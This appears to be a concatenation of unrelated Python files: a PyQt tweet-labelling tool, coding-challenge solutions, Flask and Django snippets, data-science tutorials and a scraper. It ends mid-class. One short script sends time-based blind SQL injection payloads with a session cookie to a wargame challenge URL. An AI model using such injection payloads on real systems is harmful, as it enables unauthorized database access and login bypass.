import json
import sys
from sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer
from sklearn.linear_model import SGDClassifier
from skmultiflow.trees import LabelCombinationHoeffdingTreeClassifier, HoeffdingTreeClassifier
from skmultiflow.bayes import NaiveBayes
from skmultiflow.lazy import KNNClassifier
from skmultiflow.meta import ClassifierChain
import numpy as np
from PyQt6 import QtWidgets, uic, QtGui

BASE_FILE = "tweets.ndjson"

class LabelPredict:
    def __init__(self, texts: list):
        self.tokenizer = TfidfVectorizer()
        self.tokenizer.fit(texts)

        self.labels_sent = {"POSITIVE": np.array([1, 0, 0]), "NEUTRAL": np.array([0, 1, 0]),
                            "NEGATIVE": np.array([0, 0, 1])}
        self.labels_sent = {"POSITIVE": 0, "NEUTRAL": 1,
                            "NEGATIVE": 2}
        self.reverse_sent = {0: {"POSITIVE": True, "NEUTRAL": False,
                                 "NEGATIVE": False},
                             1: {"POSITIVE": False, "NEUTRAL": True,
                                 "NEGATIVE": False},
                             2: {"POSITIVE": False, "NEUTRAL": False,
                                 "NEGATIVE": True}}

        self.labels_relevance = ["Irrelevant"]
        self.labels = []
        self.lcc = ClassifierChain(SGDClassifier(max_iter=100, loss='log', random_state=1))
        self.clrel = KNNClassifier()
        self.clsent = KNNClassifier()

    def _labels2array(self, labeldict: dict):
        target = []
        for label in self.labels:
            if label in labeldict and labeldict[label] == True:
                target.append(1)
            else:
                target.append(0)
        return np.array(target)

    def retrain(self, labeled_tweets: list):
        labels = set()
        for tweet in labeled_tweets:
            if "labels" in tweet and len(tweet["labels"]) > 0:
                labels.update([l for l in tweet["labels"] if not (l in self.labels_sent or l in self.labels_relevance)])
        self.labels = list(labels)
        assert "Irrelevant" not in self.labels, "Something went wrong"
        self.lcc = ClassifierChain(SGDClassifier(max_iter=100, loss='log', random_state=1))
        self.clrel = KNNClassifier()
        self.clsent = KNNClassifier()
        X, y, ys, yr = [], [], [], []
        for tweet in labeled_tweets:
            if "labels" in tweet and len(tweet["labels"]) > 0:
                X.append(tweet["tweet"])
                y.append(self._labels2array(tweet["labels"]))
                sls = [l for l, v in tweet["labels"].items() if l in self.labels_sent and v]
                if len(sls) == 1:
                    ys.append(self.labels_sent[sls[0]])
                else:
                    ys.append(self.labels_sent["NEUTRAL"])
                if self.labels_relevance[0] in tweet["labels"] and tweet["labels"][self.labels_relevance[0]]:
                    yr.append(1)
                else:
                    yr.append(0)

        X = np.array(self.tokenizer.transform(X).todense())
        y = np.array(y)
        ys = np.array(ys)
        yr = np.array(yr)
        self.clsent.fit(X, ys)
        print("Trained Sentiment Classifier")
        self.clrel.fit(X, yr)
        print("Trained Relevance Classifier")
        X2, y2 = [], []
        for Xe, ye in zip(X, y):
            if ye.sum() > 0:
                X2.append(Xe)
                y2.append(ye)
        X = np.array(X2)
        y = np.array(y2)
        self.lcc.fit(X, y)
        print("Trained Catecorical Classifier")

    def predict(self, text: str):
        X = np.array(self.tokenizer.transform([text]).todense()).reshape((1, -1))
        predicted = self.lcc.predict(X)
        labels_add = {label: bool(value) for label, value in zip(self.labels, predicted.flatten())}
        sent_pred = self.clsent.predict(X)
        labels_add.update(self.reverse_sent[sent_pred.flatten()[0]])

        assert "POSITIVE" in labels_add, "Klassifikation nicht eindeutig"

        if self.clrel.predict(X) == np.array([1]):
            labels_add[self.labels_relevance[0]] = True
        else:
            labels_add[self.labels_relevance[0]] = False
        return labels_add

    def train_item(self, tweet):
        text = tweet["tweet"]
        labeldict = tweet["labels"]
        for l in labeldict:
            if l not in self.labels and l not in self.labels_relevance and l not in self.labels_sent:
                print("RETRAIN!")
                return False
        y = self._labels2array(labeldict).reshape((1, -1))
        X = np.array(self.tokenizer.transform([text]).todense()).reshape((1, -1))

        sls = [l for l, v in labeldict.items() if l in self.labels_sent and v]
        if len(sls) == 1:
            ys = self.labels_sent[sls[0]]
        else:
            ys = self.labels_sent["NEUTRAL"]
        ys = np.array([ys])
        if self.labels_relevance[0] in labeldict and labeldict[self.labels_relevance[0]]:
            yr = np.array([1])
        else:
            yr = np.array([0])
        if y.sum() > 0:
            self.lcc.partial_fit(X, y)
        if yr.sum() > 0:
            self.clrel.partial_fit(X, yr)
        if ys.sum() > 0:
            self.clsent.partial_fit(X, ys)
        return True

class Boxes(QtWidgets.QWidget):
    def _add_qbox(self):
        if len(self.vboxes) * 4 < len(self.boxes):
            p = QtWidgets.QWidget()
            k = QtWidgets.QVBoxLayout(p)
            self.vboxes.append(k)
            self.layout.addWidget(p)

    def __init__(self, parent=None):
        super().__init__(parent=parent)
        self.layout = parent.findChild(QtWidgets.QHBoxLayout, "boxes")
        self.vboxes = []
        self.boxes = []

        self.setAutoFillBackground(True)

        for tag in ["Irrelevant", "NEGATIVE", "POSITIVE", "NEUTRAL"]:
            self.boxes.append(QtWidgets.QCheckBox(self))
            self.boxes[-1].setText(tag)
            self.boxes[-1].setChecked(False)
            self.boxes[-1].setMinimumWidth(80)
            self.boxes[-1].adjustSize()
            self.boxes[-1].setAutoFillBackground(True)
            self.boxes[-1].setMinimumHeight(36)

            self._add_qbox()
            self.vboxes[-1].addWidget(self.boxes[-1])

    def add_label(self):
        existing = {box.text(): box for box in self.boxes}
        text = self.parent().new_label.text()
        self.parent().new_label.clear()
        if len(text) < 1:
            return
        if text in existing:
            existing[text].setChecked(True)
            return

        self.boxes.append(QtWidgets.QCheckBox(self))
        self.boxes[-1].setText(text)
        self.boxes[-1].setChecked(True)
        self.boxes[-1].setMinimumWidth(80)
        self.boxes[-1].adjustSize()
        self.boxes[-1].setAutoFillBackground(True)
        self.boxes[-1].setMinimumHeight(36)

        self._add_qbox()

        self.vboxes[-1].addWidget(self.boxes[-1])

    def add_labels(self, labels: set):
        existing = {box.text() for box in self.boxes}
        for label in labels - existing:
            self.boxes.append(QtWidgets.QCheckBox(self))
            self.boxes[-1].setText(label)
            self.boxes[-1].setMinimumWidth(80)
            self.boxes[-1].adjustSize()
            self.boxes[-1].setAutoFillBackground(True)
            self.boxes[-1].setMinimumHeight(36)
            self._add_qbox()
            self.vboxes[-1].addWidget(self.boxes[-1])

    def clear(self):
        for box in self.boxes:
            box.setChecked(False)

    def get_checked(self):
        return {box.text(): box.isChecked() for box in self.boxes}

    def check(self, label, tval):
        for box in self.boxes:
            if label == box.text():
                box.setChecked(tval)

class Ui(QtWidgets.QMainWindow):
    def __init__(self):
        super(Ui, self).__init__()
        uic.loadUi('annotator.ui', self)
        self.setWindowIcon(QtGui.QIcon("pen.svg"))
        self.setAccessibleName("qAnnotator")
        self.setWindowTitle("qAnnotator")

        self.boxes = Boxes(parent=self)

        self.new_label = self.findChild(QtWidgets.QLineEdit, "textEdit")
        self.new_label.returnPressed.connect(self.boxes.add_label)
        self.tweets = {}
        self.tweets_processed = []
        self.read_tweets()
        self.tweets_not_yet_processed = [id for id in self.tweets if id not in self.tweets_processed]
        self.current_tweet = None
        self.labelpredict = LabelPredict([tweet["tweet"] for tweet in self.tweets.values()])
        if len(self.tweets_processed) > 0:
            self.labelpredict.retrain([self.tweets[t] for t in self.tweets_processed])

        self.text = self.findChild(QtWidgets.QTextBrowser, "tweet_text")

        self.progress = self.findChild(QtWidgets.QProgressBar, "progress")
        self.progress.setMaximum(len(self.tweets))
        self.progress.setValue(len(self.tweets_processed))

        self.load_tweet(self.tweets_not_yet_processed.pop(0))

        self.next = self.findChild(QtWidgets.QPushButton, "button_next")
        self.next.clicked.connect(self.next_tweet)
        self.last = self.findChild(QtWidgets.QPushButton, "button_last")
        self.last.clicked.connect(self.last_tweet)

        self.show()

    def next_tweet(self):
        tweet = self.current_tweet
        new_boxes = self.boxes.get_checked()
        if tweet["labels"] != new_boxes:
            tweet["labels"] = new_boxes
            self.add_tweet(tweet)
        self.tweets_processed.append(tweet["id"])
        if not self.labelpredict.train_item(tweet=tweet):  # this does training
            self.labelpredict.retrain([self.tweets[t] for t in self.tweets_processed])

        if len(self.tweets_not_yet_processed) == 0:
            mb = QtWidgets.QMessageBox()
            mb.setText("All tweets are processed")
            mb.exec()
        else:
            self.load_tweet(self.tweets_not_yet_processed.pop(0))

    def last_tweet(self):
        tweet = self.current_tweet
        new_boxes = self.boxes.get_checked()
        if tweet["labels"] != new_boxes:
            tweet["labels"] = new_boxes
            self.add_tweet(tweet)
        self.tweets_not_yet_processed.insert(tweet["id"], 0)

        if len(self.tweets_processed) == 0:
            mb = QtWidgets.QMessageBox()
            mb.setText("You already see the first Tweet.")
            mb.exec()
        else:
            self.load_tweet(self.tweets_processed.pop(-1))

    def load_tweet(self, id: str):
        self.progress.setValue(len(self.tweets_processed))
        tweet = self.tweets[id]
        self.current_tweet = tweet
        if "labels" not in tweet:
            tweet["labels"] = {}
        self.boxes.clear()
        if len(tweet["labels"]) < 1:
            for label, true in self.labelpredict.predict(tweet["tweet"]).items():
                self.boxes.check(label, true)
        else:
            for label, true in tweet["labels"].items():
                self.boxes.check(label, true)
        text = tweet["tweet"]
        self.text.clear()
        self.text.insertHtml(text)

    def read_tweets(self):
        labels = set()
        for line in open(BASE_FILE, encoding="utf8"):
            tweet = json.loads(line)
            self.tweets[tweet["id"]] = tweet
        for tid, tweet in self.tweets.items():
            if "labels" in tweet and len(tweet["labels"]) > 0:
                self.tweets_processed.append(tid)
                labels.update([l for l in tweet["labels"]])
        self.boxes.add_labels(labels)

    def add_tweet(self, tweet: dict):
        with open(BASE_FILE, "a", encoding="utf8") as f:
            f.write(json.dumps(tweet) + "\n")

if __name__ == "__main__":
    app = QtWidgets.QApplication(sys.argv)
    window = Ui()
    app.exec()


# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, x):
#         self.val = x
#         self.left = None
#         self.right = None

class Solution:
    def lowestCommonAncestor(self, root: 'TreeNode', p: 'TreeNode', q: 'TreeNode') -> 'TreeNode':

        def explore(node):

            if node.val == p.val or node.val == q.val:
                return node
            left = right = None
            if node.left:
                left = explore(node.left)
            if node.right:
                right = explore(node.right)

            if left and right:
                return node
            else:
                return left or right

        return explore(root)


class ValidDirectories:

    def __init__(self, graph):
        self.graph = graph
        self.visited = []

    def check_validity3(self, start=3):
        flag = 'false'
        length = len(self.graph)
        self.visited.append(start)
        children = list()
        for i in range(length):
            if self.graph[start][i] == 1:
                if i in self.visited or i == start:
                    flag = 'false'
                    return flag
                children.append(i)

        if len(children) != 0:
            for child in children:
                flag = self.check_validity3(child)
                if flag is 'false':
                    break
            self.visited = self.visited[:len(self.visited) - 1]
        return flag

    def check_graph_validity(self):
        for i in range(len(self.graph)):
            if self.check_validity3(start=i) == 'false' or self.graph[i][i] != 0:
                return 'false'
            self.visited = []
        return 'true'

def main():

    num = int(input())
    temp = []
    for i in range(num):
        j = input()
        temp.append([int(x) for x in j.split()])
    v = ValidDirectories(temp)
    print(v.check_graph_validity())

if __name__ == '__main__':
    main()


from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/hello_post', methods=['GET', 'POST'])
def hello_post():
    request_method = request.method
    username = ''  # 首次造訪方式為 GET 若無此行會無 username 變數
    if request_method == 'POST':
        username = request.form.get('name')  # html 中 input 的名稱
    return render_template('hello_post.html',
                            request_method=request_method,
                            username=username)

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)


# Day 8: Seven Segment Search
# https://adventofcode.com/2021/day/8

from functools import reduce

FILENAME = "input.txt"

SEGMENTS = set("abcdefg")
DIGITS = [
    set("abcefg"), # 0
    set("cf"), # 1
    set("acdeg"), # 2
    set("acdfg"), # 3
    set("bcdf"), # 4
    set("abdfg"), # 5
    set("abdefg"), # 6
    set("acf"), # 7
    set("abcdefg"), # 8
    set("abcdfg"), # 9
]

patterns = []
outputs = []

with open(FILENAME) as f:
    for line in f:
        pattern, output = line.rstrip("\n").split("|")
        patterns.append([p.strip() for p in pattern.strip().split(" ")])
        outputs.append([o.strip() for o in output.strip().split(" ")])

########################
#        Part 1        #
########################

# count the easy digits (digits that can be represented with a unique number of segments)
n = sum(1 for output in outputs for digit in output if len(digit) in [2, 3, 4, 7])
print("Solution to part 1:", n)  # 493

########################
#        Part 2        #
########################

def decode(patterns, outputs):
    # initially, each segment is associated to any other segment
    rosetta = {segment: set(SEGMENTS) for segment in SEGMENTS}

    # patterns are represented with a varying number of segments in the range [2, 7]
    for num_segments in [2, 3, 5, 6]:
        # collect observed digits with a specific number of segments
        observed_digits = [set(p) for p in patterns if len(p) == num_segments]

        # collect "original" digits with a specific number of segments
        translated_digits = [d for d in DIGITS if len(d) == num_segments]

        # find the intersections between the segments of the observed patterns
        # find the intersections between the segments of the original digits
        # => use this information to reduce the number of possible values
        #    example: 2, 3 and 5 share the segments 'a', 'd' and 'g'
        for c in reduce(set.intersection, translated_digits):
            rosetta[c] &= reduce(set.intersection, observed_digits)

    # up to now, the rosetta dictionary may contain inconsistencies
    # => use the knowledge of the *certain* mappings to clean the dictionary
    while any(len(values) > 1 for values in rosetta.values()):
        for key in rosetta.keys():
            # remove from rosetta[key] all the certain mappings
            # example: rosetta['a'] = ('a', 'b', 'c'), rosetta['b'] = 'c'
            #          => 'c' can be safely removed from rosetta['a']
            rosetta[key] = rosetta[key].difference(
                *(v for k, v in rosetta.items() if len(v) == 1 and k != key)
            )

    # replace sets with values
    rosetta = {k: v.pop() for k, v in rosetta.items()}

    # translate the "original" segments using the computed mapping
    translated_digits = [set(rosetta[c] for c in digit) for digit in DIGITS]
    # use the translation to compute the output value
    output_value = [translated_digits.index(set(o)) for o in outputs]

    # convert the output value to a decimal number
    return sum(v * (10 ** idx) for idx, v in enumerate(reversed(output_value)))

n = sum(decode(pattern, output) for pattern, output in zip(patterns, outputs))
print("Solution to part 2:", n)


import argparse
import json
import os
import numpy as np
import visualize_disparity_lib
from PIL import Image, ImageDraw
from io import BytesIO
import cv2

def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('--filename', default='')
    args = parser.parse_args()

    return args

def main():
    args = parse_args()
    filename = '/home/sakamoto/Downloads/test_annotations/000.json'

    # mv = cv2.VideoCapture('production ID_車_主観2.mp4')  # 動画の読み込み
    # frame_count = int(mv.get(cv2.CAP_PROP_FRAME_COUNT))  # 動画のフレームをすべて取得
    # size = (640, 480)  # サイズ指定
    # frame_rate = int(mv.get(cv2.CAP_PROP_FPS))  # 読み込んだ動画のFPS(フレームレート)を調べる
    #filename = args.filename
    with open(filename, 'rb') as f:
        annotation = json.load(f)  # f.read()
    # print(json.dumps(annotation, indent=2))
    print(annotation["sequence"][0]["TgtXPos_LeftUp"])

    format_image = "/home/sakamoto/Downloads/test_videos/000/disparity_PNG/00000000f.png"
    if not os.path.isfile(format_image):
        print("Error: Format image file is not exist!")
        return 0
    img = Image.open(format_image)
    draw = ImageDraw.Draw(img)
    rectcolor = (255, 0, 0)  # 矩形の色(RGB)。red
    linewidth = 4  # 線の太さ
    draw.rectangle([(annotation["sequence"][0]["TgtXPos_LeftUp"]/4, annotation["sequence"][0]["TgtYPos_LeftUp"]/4),
                    (annotation["sequence"][0]["TgtXPos_LeftUp"]/4 + annotation["sequence"][0]["TgtWidth"]/4,
                    annotation["sequence"][0]["TgtYPos_LeftUp"]/4 + annotation["sequence"][0]["TgtHeight"]/4)],
                   outline=rectcolor)  # , width=linewidth)  # 矩形の描画
    img.show()

if __name__ == '__main__':
    main()


n, a, b = map(int, input().split())
nl = list(range(1, n + 1, 1))
#print(nl)
sumo = 0
sum = 0

for i in range(0, n):
    ns = str(nl[i])
    #print(ns)
    for j in range(len(ns)):
        sumo = sumo + int(ns[j])
    if sumo >= a and sumo <= b:
        sum = sum + int(ns)
    sumo = 0

print(sum)


# add one student
def  addStudents():

     nm1 = input("Enter Name ")
     srnm1 = input("Enter Surname")
     list.append(nm1 + srnm1)
     print(nm1 + srnm1, "Successfully added!!")

# add one student
def deleteStudents():
    nm1 = input(" Enter Name ")
    srnm1 = input(" Enter Surname")
    list.remove(nm1+srnm1)
    print(nm1 + srnm1 ,"deleted ")

# add multiple students
def multipleAddStudents():
    num=int(input("How Many Student Will You Add?"))
    count=0
    while count<num:
         nm1 = input(" Enter Name ")
         srnm1 = input(" Enter Surname")
         list.append(nm1+srnm1)
         print(nm1 + srnm1 ,"added ")
         count+=1
# delete multiple students
def multipleDeleteStudents():
    num=int(input(" How Many Student Will You Add"))
    count=0
    while count<num:
         nm1 = input("  Enter Name")
         srnm1 = input("Enter Surname ")
         list.remove(nm1+srnm1)
         print(nm1 + srnm1 ,"deleted ")
         count+=1
# find  student number [index number in the list is student number ]
def findStudentNumber():
    nm1 = input(" Enter Name")
    srnm1 = input("Enter Surname")
    if nm1 + srnm1 in list:
        num = list.index(nm1 + srnm1)
        print(str(nm1 + srnm1) , "student's number is: " , str(num))
    else:
         print("Try again !")
#viewing student
def printStudent():
        for i in list:
            print(i)

list=[] # holds student list

 #main step
print("""
1. Add Student
2. Delete Student
3. Add Multiple Student
4. Delete Multiple Student
5. Find Student Number
6. Print Student list
7. Exit
""")

while True:
    islem = int(input("Please Select Steps: "))

    if islem == 1:
        addStudents()

    elif islem == 2:
        deleteStudents()

    elif islem == 3:
        multipleAddStudents()

    elif islem == 4:
        multipleDeleteStudents()

    elif islem == 5:
        findStudentNumber()

    elif islem == 6 :
        printStudent()

    elif islem ==  7 :
        print("Exit Successful...")
        break


# -*- coding: utf-8 -*-
"""
Created on Mon Oct  2 10:34:42 2023

@author: ADMIN
"""
# Multiple Linear regression

import pandas as pd
import seaborn as cd

# importing data from datase (excel file)

dataset=pd.read_excel("F:/dataset_dummy.xlsx")
print(type(dataset))
print(dataset.head())
# data visualization
cd.heatmap(dataset)

x=dataset.iloc[:,1:].values
y=dataset.iloc[:,0].values

# spliting data set into training set and testing set
from sklearn.model_selection import train_test_split
x_train,x_test,y_train,y_test= train_test_split(x,y, test_size=0.3, random_state=1)
#plt.scatter()

# Note :- The parameter 'random_state'  is used to randomly bifurcate the dataset into training &
# testing dataset. Tht number should be supplied as arguments to parameter 'random_state'
# which helps us get the max accuracy. and that number is decided by hit & trail method.

# Fitting Linear Regression to the Training set
from sklearn.linear_model import LinearRegression
regressor= LinearRegression()
regressor.fit(x_train, y_train)

# Calculating the coefficients:
print(regressor.coef_)

# Calculating the intercepts:
print(regressor.intercept_)

# Predicting the test set model.
y_pred=regressor.predict(x_test)

# Accuracy of the model.

# Calculating the r squared value.

from sklearn.metrics import r2_score
r2_score(y_test, y_pred)

#Creating a dataframe
df1={'Actual Application':y_test,
                 'Predict Application':y_pred}
df1=pd.DataFrame(df1,columns=['Actual Application','Predict Application'])
print(df1)

# Visualization the prdicted results.
import matplotlib.pyplot as plt
line_chart1=plt.plot(y_pred, x_test,'--',c='green')
line_chart2=plt.plot(y_test,x_test,':',c='red')


from django.urls import path
from . import views

app_name = 'produto'

urlpatterns = [
    path('', views.ListaProdutos.as_view(), name="lista"),
    path('<slug>', views.DetalheProduto.as_view(), name="detalhe"),
    path('adicionaraocarrinho/', views.AdicionarAoCarrinho.as_view(),
         name="adicionaraocarrinho"),
    path('removerdocarrinho/', views.RemoverDoCarrinho.as_view(),
         name="removerdocarrinho"),
    path('carrinho/', views.Carrinho.as_view(), name="carrinho"),
    path('resumodacompra/', views.ResumoDaCompra.as_view(), name="resumodacompra"),
    path('busca/', views.Busca.as_view(), name="busca"),
    path('criar/', views.conteudo_create, name='conteudo_create'),
    path('editar/<int:id>/', views.edite_conteudo, name='editar_conteudo'),
    path('deletar/<int:id>/', views.conteudo_delete, name='conteudo_delete'),
]

cursos/analise_e_desenvolvimento_sistemas/2020 - 2º Semestre/Turmas/1º A/Equipe 2/Sprint_3/educahelp/produto/urls.py


import argparse
import os, sys
import logging
from crontab import CronTab

# Get access to CronTab.
system_cron = CronTab()
user_cron = CronTab("root")
file_cron = CronTab(tabfile="filename.tab")
mem_cron = CronTab(
    tab="""
    * * * * * command
    """
)

class CronManager:
    def __init__(self):
        self.cron = CronTab(user=True)

    def add_daily(self, name, user, command, environment=None):
        """
        Add a daily cron task
        """
        cron_job = self.cron.new(command=command, user=user)
        cron_job.minute.on(0)
        cron_job.hour.on(0)
        cron_job.enable()
        self.cron.write()
        if self.cron.render():
            print(self.cron.render())
            return True


# September 2020
# OBJECCTIVE: Transforming dataset distributions: Scale your data
# Normalize the data: putting each observation on the relative scale
# Use scikit learn to: Scale, Center, Normalize , Bin and impute data

import numpy as np
import pandas as pd
import scipy

import matplotlib.pyplot as plt
from matplotlib import rcParams
import seaborn as sb

import sklearn
from sklearn import preprocessing
from sklearn.preprocessing import scale

rcParams['figure.figsize'] = 5,4
sb.set_style('whitegrid')

address = 'D:\Repository\DataScience\mtcars.csv'
cars = pd.read_csv(address)
cars.columns = ['car_names','mpg','cyl','disp', 'hp', 'drat', 'wt', 'qsec', 'vs', 'am', 'gear', 'carb']

# Let's isolate a variable
mpg = cars.mpg
plt.plot(mpg)
plt.show()
print(cars[['mpg']].describe())

# Let's make a matrix
mpg_matrix = mpg.values.reshape(-1,1)
# Scale the values from 0 to 1
scaled = preprocessing.MinMaxScaler()
scaled_mpg = scaled.fit_transform(mpg_matrix)
plt.plot(scaled_mpg)
plt.show()

# Scale at different range
scaled = preprocessing.MinMaxScaler(feature_range=(0,10))
scaled_mpg = scaled.fit_transform(mpg_matrix)
plt.plot(scaled_mpg)
plt.show()

# Use scale to scale your features
# let's create a variable with no min and standard deviation value
standardized_mpg = scale(mpg, axis=0, with_mean=False, with_std=False)
plt.plot(standardized_mpg)
plt.show()

# Use default values
standardized_mpg = scale(mpg)
plt.plot(standardized_mpg)


import numpy as np
import matplotlib.pyplot as plt
import itertools
import utils as us
import importlib
from scipy.stats import norm

importlib.reload(us)

weight_lin_reg = [3, 5, -7, -2, 7]
b_lin_reg = 0
# ranges_lin_reg = [4, 5, 8]
ranges_lin_reg = [1,5,2, 3,2]
# ranges_lin_reg = [2,2,2, 2,2]
weight_lin_reg = [3, 5, -7, -2, 6]

# b_vec_lin_reg = [0, 2, 8,5,1]
b_vec_lin_reg = [0, 0, 0,0,0]

def feature(position):
    return " {" + str(position) + ":3d} |"
def y_out(position):
    return "{" + str(position) + ":4.2f} |"
def vimp(position):
    return " {" + str(position) + ":3.3f} |"

# feature = " {" + str(position) + ":3d} |"
# y = "{" + str(position) + ":4.2f} |"
# vimp = " {" + str(position) + ":3.3f} |"
# for i in range(0, size):
    #     print("local feature {} importance: {}".format(i+1, round(abs(abs(val[i] * weight[i])/tmp), 3)))
    # str = ""
    # position=0
    #
    # for i in range(0,size):
    #     str += feature(position)
    #     position += 1
    # str += y_out(position)
    # position += 1
    # for i in range(0,size):
    #     str+=vimp(position)
    # print("{0:3d} | {1:3d} | {2:3d} | {3:4.2f} | {4:3.3f} | {5:3.3f} | {6:3.3f} |".format(val[0], val[1], val[2], tmp,abs(abs(val[0] * weight[0])/tmp),abs(abs(val[1] * weight[1])/tmp),abs(abs(val[2] * weight[2])/tmp) ))

def linear_function(val = [5,2]):

    global weight_lin_reg
    global b_lin_reg
    weight = weight_lin_reg
    b = b_lin_reg

    tmp = 0
    abs_tmp = 0
    size = len(val)
    for i in range(0,size):
        tmp += val[i] * weight[i]
        abs_tmp += abs(val[i] * weight[i])

    tmp += b
    abs_tmp += b
    return tmp, abs_tmp

def vimp_lf(sample, abs_sum):

    global weight_lin_reg
    weight = weight_lin_reg

    nfeatures = len(sample)
    vimp = np.zeros(nfeatures)
    for i in range(0, nfeatures):
        vimp[i] = abs(weight[i] * sample[i]) / abs_sum
        # vimp[i] = abs(weight[i]) / abs_sum

    return vimp

def lf_dataset(nsamples = 150, with_vimp = True):
    np.random.seed(0)

    global weight_lin_reg
    global b_lin_reg
    global ranges_lin_reg
    global b_vec_lin_reg
    weight = weight_lin_reg
    b = b_lin_reg
    ranges = ranges_lin_reg
    b_vec = b_vec_lin_reg

    # weight = [3, 5, -7]
    # ranges = [4,5,8]
    # b_vec = [1,0,0]
    # b = 0

    nfeatures = len(weight)
    X = np.ndarray(shape=(nsamples, nfeatures), dtype=float)

    for i in range(0, nfeatures):
        X[:,i] = (np.random.uniform(0, 1, nsamples) * ranges[i]) + b_vec[i]

    t = 'R'

    value = np.zeros(shape=(nsamples, 1), dtype=float)
    abs_sum = np.zeros(shape=(nsamples, 1), dtype=float)
    for i in range(0, nsamples):
        value[i], abs_sum[i] = linear_function(X[i, :])

    vimp = np.zeros((nsamples, nfeatures))
    for i in range(0,nsamples):
        vimp[i,:] = vimp_lf(X[i,:], abs_sum[i])

    if with_vimp:
        return X,value,t, vimp
    else:
        return X,value,t

def vimp_lr(X):

    global weight_lin_reg
    global b_lin_reg
    weight = weight_lin_reg
    b = b_lin_reg

    nsamples = X.shape[0]
    nfeatures = X.shape[1]
    value = np.zeros(shape=(nsamples, 1), dtype=float)
    abs_sum = np.zeros(shape=(nsamples, 1), dtype=float)
    for i in range(0, nsamples):
        value[i], abs_sum[i] = linear_function(X[i, :])

    vimp = np.zeros((nsamples, nfeatures))
    for i in range(0, nsamples):
        vimp[i, :] = vimp_lf(X[i, :], abs_sum[i])
    return vimp


from bs4 import BeautifulSoup
import requests

if __name__ == "__main__":
    url = 'https://dataroma.com/m/ins/ins.php'

    params = {
        't': 'd',
        'am': '0',
        'sym':'',
        'o': 'a',
        'd': 'd'
    }

    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36'
    }

    page_text = requests.get(url, params=params, headers=headers).text

    soup = BeautifulSoup(page_text, 'lxml')

    print(soup.find('table',id="sum"))


import requests
import time
url = "https://los.rubiya.kr/chall/alien_91104597bf79b4d893425b65c166d484.php"
params = {"no" : None}
cookies = {"PHPSESSID" : "p25eg3sgsmmb9gm2m8sm0q2al2"}

payload = "1 union select concat(char(97 + sleep(1) + now()%2=0),'dmin')#' union select concat(char(97 + sleep(1) + now()%2=1),'dmin')#"
payload = "1 union select 0x61646d696e where !sleep(1)&&now()%2=1#' union select 0x61646d696e where !sleep(1)&&now()%2=0#"
params["no"] = payload

for i in range(4):
    response = requests.get(url,params=params,cookies=cookies)
    time.sleep(0.3)
    print(response.text)


from django.contrib import messages
from django.shortcuts import render, get_object_or_404, redirect
from eventapp.models import Event, Ticket, Reservation, Coupon

def allevents(request):
    # Retrieve all events from the database
    events = Event.objects.filter(is_confirmed=True).all()
    recent_events = Event.objects.order_by('-date')[:3]

    # Pass the events to the template context
    context = {'events': events, 'recent_events': recent_events}

    # Render the template with the events
    return render(request, 'eventapp/home.html', context)

"""def event_detail(request, event_id):
    event = get_object_or_404(Event, id=event_id)
    ticket = Ticket.objects.filter(event=event, user=request.user).first()  # Assuming the user is logged in
    reservation = Reservation.objects.filter(user=request.user, tickets__event=event).first()  # Assuming the user is logged in
    context = {
        'event': event,
        'ticket': ticket,
        'reservation': reservation
    }
    return render(request, 'eventapp/event_detail.html', context)"""

def event_detail(request, event_id):
    event = get_object_or_404(Event, id=event_id)
    ticket = Ticket.objects.filter(event=event).first()  # Assuming the user is logged in

    if request.method == 'POST':
        quantity = int(request.POST['quantity'])
        if quantity <= event.tickets_available:
            coupon_code = request.POST.get('coupon_code', '')
            coupon = Coupon.objects.filter(code=coupon_code).first()
            if coupon:
                total_price = (ticket.price * quantity) - coupon.discount_amount
            else:
                total_price = ticket.price * quantity

            reservation = Reservation.objects.create(user=request.user, total_price=total_price)
            # Update event tickets_available count
            event.tickets_available -= quantity
            reservation.save()
            event.save()
            return redirect('eventapp:ticket-confirmation', ticket_id=ticket.id)
        else:
            # Handle insufficient tickets error
            error_message = 'Insufficient tickets available'
            return render(request, 'eventapp/event_detail.html',
                          {'event': event, 'ticket': ticket, 'error_message': error_message})

    context = {
        'event': event,
        'ticket': ticket,
    }
    return render(request, 'eventapp/event_detail.html', context)

def ticket_confirmation(request, ticket_id):
    ticket = Ticket.objects.get(id=ticket_id)
    event = ticket.event
    context = {
        'ticket': ticket,
        'event': event,
    }
    return render(request, 'eventapp/ticket-confirmation.html', context)

def category_events(request, category):
    # Retrieve events based on the clicked category
    events = Event.objects.filter(is_confirmed=True,category=category)
    context = {
        'events': events,
    }
    return render(request, 'eventapp/category_events.html', context)

def event_edit(request, event_id):
    event = get_object_or_404(Event, id=event_id)

    if request.method == 'POST':
        # Handle the form submission and update the event data
        # ...

        messages.success(request, 'Event updated successfully.')
        return redirect('event_detail', event_id=event.id)

    context = {
        'event': event,
    }
    return render(request, 'dashboard/event_edit.html', context)

def event_confirm_delete(request, event_id):
    event = get_object_or_404(Event, id=event_id)

    if request.method == 'POST':
        # Delete the event
        event.delete()
        messages.success(request, 'Event deleted successfully.')
        return redirect('dashboard')  # Redirect to the dashboard or any desired page

    context = {
        'event': event,
    }
    return render(request, 'dashboard/event_confirm_delete.html', context)


def sol():
    n, k = map(int, input().split())
    coins = []
    answer = [0] * (k + 1)

    for _ in range(n):
        coins.append(int(input()))
        if coins[-1]<=k:
            answer[coins[-1]]=1

    coins.sort()

    for coin in coins:
        for i in range(coin, k + 1):
            if answer[i - coin] == 0:
                continue
            if answer[i] == 0:
                answer[i] = answer[i - coin] + 1
            else:
                answer[i] = min(answer[i], answer[i - coin] + 1)

    if answer[-1] == 0:
        print(-1)
    else:
        print(answer[-1])

sol()

코딩테스트_파이썬/백준/동전2.py


class Solution(object):
    def intToRoman(self, num):
        dic1=['M','CM','D','CD','C','XC','L','XL','X','IX','V','IV','I']
        dic2=[1000,900,500,400,100,90,50,40,10,9,5,4,1]
        for i in range(len(dic1)):
                while num>=dic2[i]:
                        num=num-dic2[i]
                        print(dic1[i])
s=Solution()
num=3
s.intToRoman(num)


import sys

input = sys.stdin.readline

class rangeytree(object):
    def __init__(self, points):
        length = len(points)
        self.leaves = length
        if length == 1:
            self.value = points[0][1]
            self.isLeaf = True
        else:
